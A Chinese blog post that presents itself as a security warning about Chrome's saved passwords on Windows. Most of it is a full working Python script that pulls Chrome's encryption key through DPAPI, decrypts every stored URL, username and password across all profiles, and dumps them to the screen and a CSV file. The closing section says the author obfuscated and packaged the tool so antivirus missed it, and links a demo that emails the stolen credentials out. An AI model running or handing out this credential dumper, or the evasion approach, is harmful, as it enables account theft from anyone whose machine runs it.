解密谷歌浏览器保存的密码

本文最后更新于 2023年7月13日 凌晨

之前在查看谷歌浏览器密码时,发现是需要当前计算机的登录密码,而由于电脑用途不同,一些密码是非常简单的,就感觉不安全,于是换了用1password来管理密码。结果今天发现它比想象中还不安全,直接就能获取到地址、用户名和密码信息。

1 前言

本文是对发现的github仓库进行实际测试,所以方法不是我发现的,我就是个使用者,实现原理作者也有博文

2 使用

2.1 建个示例密码

在改用1password的时候就清空了谷歌浏览器保存的密码,所以这里再建个。地址使用本地的路由器后台:http://192.168.2.1/cgi-bin/luci/,然后顺便输入账号和密码后点击保存到谷歌。之后浏览器设置页面中的密码管理工具可以看到这一条记录

要在这里查看就需要输入当前计算机用户的密码。显示如下信息:

2.2 环境

  • python3
  • 安装pycryptodomex库
    1
    pip install pycryptodomex
  • 安装pywin32库
    1
    pip install pywin32

2.3 运行代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
import os
import re
import sys
import json
import base64
import sqlite3
import win32crypt
from Cryptodome.Cipher import AES
import shutil
import csv

#GLOBAL CONSTANT
CHROME_PATH_LOCAL_STATE = os.path.normpath(r"%s\AppData\Local\Google\Chrome\User Data\Local State"%(os.environ['USERPROFILE']))
CHROME_PATH = os.path.normpath(r"%s\AppData\Local\Google\Chrome\User Data"%(os.environ['USERPROFILE']))

def get_secret_key():
try:
#(1) Get secretkey from chrome local state
with open( CHROME_PATH_LOCAL_STATE, "r", encoding='utf-8') as f:
local_state = f.read()
local_state = json.loads(local_state)
secret_key = base64.b64decode(local_state["os_crypt"]["encrypted_key"])
#Remove suffix DPAPI
secret_key = secret_key[5:]
secret_key = win32crypt.CryptUnprotectData(secret_key, None, None, None, 0)[1]
return secret_key
except Exception as e:
print("%s"%str(e))
print("[ERR] Chrome secretkey cannot be found")
return None

def decrypt_payload(cipher, payload):
return cipher.decrypt(payload)

def generate_cipher(aes_key, iv):
return AES.new(aes_key, AES.MODE_GCM, iv)

def decrypt_password(ciphertext, secret_key):
try:
#(3-a) Initialisation vector for AES decryption
initialisation_vector = ciphertext[3:15]
#(3-b) Get encrypted password by removing suffix bytes (last 16 bits)
#Encrypted password is 192 bits
encrypted_password = ciphertext[15:-16]
#(4) Build the cipher to decrypt the ciphertext
cipher = generate_cipher(secret_key, initialisation_vector)
decrypted_pass = decrypt_payload(cipher, encrypted_password)
decrypted_pass = decrypted_pass.decode()
return decrypted_pass
except Exception as e:
print("%s"%str(e))
print("[ERR] Unable to decrypt, Chrome version <80 not supported. Please check.")
return ""

def get_db_connection(chrome_path_login_db):
try:
print(chrome_path_login_db)
shutil.copy2(chrome_path_login_db, "Loginvault.db")
return sqlite3.connect("Loginvault.db")
except Exception as e:
print("%s"%str(e))
print("[ERR] Chrome database cannot be found")
return None

if __name__ == '__main__':
try:
#Create Dataframe to store passwords
with open('decrypted_password.csv', mode='w', newline='', encoding='utf-8') as decrypt_password_file:
csv_writer = csv.writer(decrypt_password_file, delimiter=',')
csv_writer.writerow(["index","url","username","password"])
#(1) Get secret key
secret_key = get_secret_key()
#Search user profile or default folder (this is where the encrypted login password is stored)
folders = [element for element in os.listdir(CHROME_PATH) if re.search("^Profile*|^Default$",element)!=None]
for folder in folders:
#(2) Get ciphertext from sqlite database
chrome_path_login_db = os.path.normpath(r"%s\%s\Login Data"%(CHROME_PATH,folder))
conn = get_db_connection(chrome_path_login_db)
if(secret_key and conn):
cursor = conn.cursor()
cursor.execute("SELECT action_url, username_value, password_value FROM logins")
for index,login in enumerate(cursor.fetchall()):
url = login[0]
username = login[1]
ciphertext = login[2]
if(url!="" and username!="" and ciphertext!=""):
#(3) Filter the initialisation vector & encrypted password from ciphertext
#(4) Use AES algorithm to decrypt the password
decrypted_password = decrypt_password(ciphertext, secret_key)
print("Sequence: %d"%(index))
print("URL: %s\nUser Name: %s\nPassword: %s\n"%(url,username,decrypted_password))
print("*"*50)
#(5) Save into CSV
csv_writer.writerow([index,url,username,decrypted_password])
#Close database connection
cursor.close()
conn.close()
#Delete temp login db
os.remove("Loginvault.db")
except Exception as e:
print("[ERR] %s"%str(e))

2.4 结果

可见是和之前输入密码看到的信息是一致的,也即直接就能打印出你谷歌浏览器保存的各个网站密码。

3 原理

这里的原理是来源于上面提到的提供代码的作者博客

浏览器把密匙文件放在了C:\Users\dell\AppData\Local\Google\Chrome\User Data\Local State中的encrypted_key字段里

而把登录信息放在C:\Users\dell\AppData\Local\Google\Chrome\User Data\Default\Login Datasqlite数据库中:

然后:

1
2
3
4
5
6
7
8
9
10
#Step 1: 从密匙中提取初始化向量
initialisation_vector = ciphertext[3:15]
#Step 2: 从密匙中提取加密密码
encrypted_password = ciphertext[15:-16]
#Step 3:构建AES算法来解密密码
cipher = AES.new(secret_key, AES.MODE_GCM, initialisation_vector)
decrypted_pass = cipher.decrypt(encrypted_password)
decrypted_pass = decrypted_pass.decode()
#Step 4: 打印结果
print(decrypted_pass)

4 后言

实际上是可以将代码包装在各种应用中,当你在本地运行了某个应用,你的密码指不定就被打包带走咯。所以要么就不要将重要的保存到浏览器中,要么就不要在本地运行不可信的应用。或者就换一种密码保存方式,比如使用密码管理器、你的脑子等。

混淆代码后进行打包,发现杀毒软件是没法检测出来的。建了个示例仓库:InfoSec-GoogleChrome,打包程序的功能是将url,用户、密码通过邮件发送出去。


解密谷歌浏览器保存的密码
https://blog.kala.love/posts/cbe36f56/
作者
久远·卡拉
发布于
2023年7月10日
许可协议